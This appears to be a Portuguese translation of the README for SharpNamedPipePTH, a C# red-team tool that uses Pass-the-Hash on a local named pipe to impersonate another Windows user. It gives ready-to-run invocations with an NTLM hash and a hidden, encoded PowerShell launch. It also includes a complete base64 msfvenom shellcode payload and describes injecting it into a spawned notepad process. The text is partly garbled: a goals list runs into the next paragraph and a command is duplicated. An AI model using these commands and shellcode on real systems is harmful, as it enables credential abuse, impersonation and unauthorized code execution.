
Passe o Hash para um pipe nomeado para token Impersonation
Este projeto é uma ferramenta em C# para usar Pass-the-Hash na autenticação de um Named Pipe local para personificação de usuário. Você precisa de privilégios de administrador local ou SEImpersonate para usar esta ferramenta. Há um post de blog para explicação:
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
É fortemente baseado no código do projeto Sharp-SMBExec.
Enfrentei certas situações em projetos de Segurança Ofensiva no passado, onde já tinha o hash NTLM de uma conta de usuário com baixos privilégios e precisava de um shell para esse usuário no sistema comprometido atual - mas isso não era possível com as ferramentas públicas disponíveis. Imagine dois fatos adicionais para uma situação como essa - o hash NTLM não podia ser quebrado e não havia nenhum processo do usuário vítima para executar shellcode ou migrar para esse processo. Isso pode parecer um caso extremo absurdo para alguns de vocês. Ainda assim, experimentei isso várias vezes. Não apenas em um engagement gastei muito tempo procurando a ferramenta/técnica certa para aquela situação específica.
Meus objetivos pessoais para uma ferramenta/técnica eram:
com baixos privilégios - dependendo dos objetivos do engagement pode ser necessário acessar um sistema com um usuário específico, como CEO, contas de RH, administradores SAP ou outrosO usuário personificado infelizmente não tem autenticação de rede permitida, pois o novo processo usa um Token de Personificação que é restrito. Portanto, você só pode usar esta técnica para ações locais com outro usuário.
Existem duas maneiras de usar o SharpNamedPipePTH. Ou você pode executar um binário (com ou sem argumentos):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
Ou você pode executar shellcode como o outro usuário:
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
Que é msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.
Ainda não estou satisfeito com a execução de shellcode, pois atualmente está criando um notepad como o usuário personificado e injetando shellcode nesse novo processo via chamada de sistema D/Invoke CreateRemoteThread. Ainda estou procurando uma maneira de criar um processo em segundo plano ou executar shellcode sem ter um processo do usuário alvo para alocação de memória.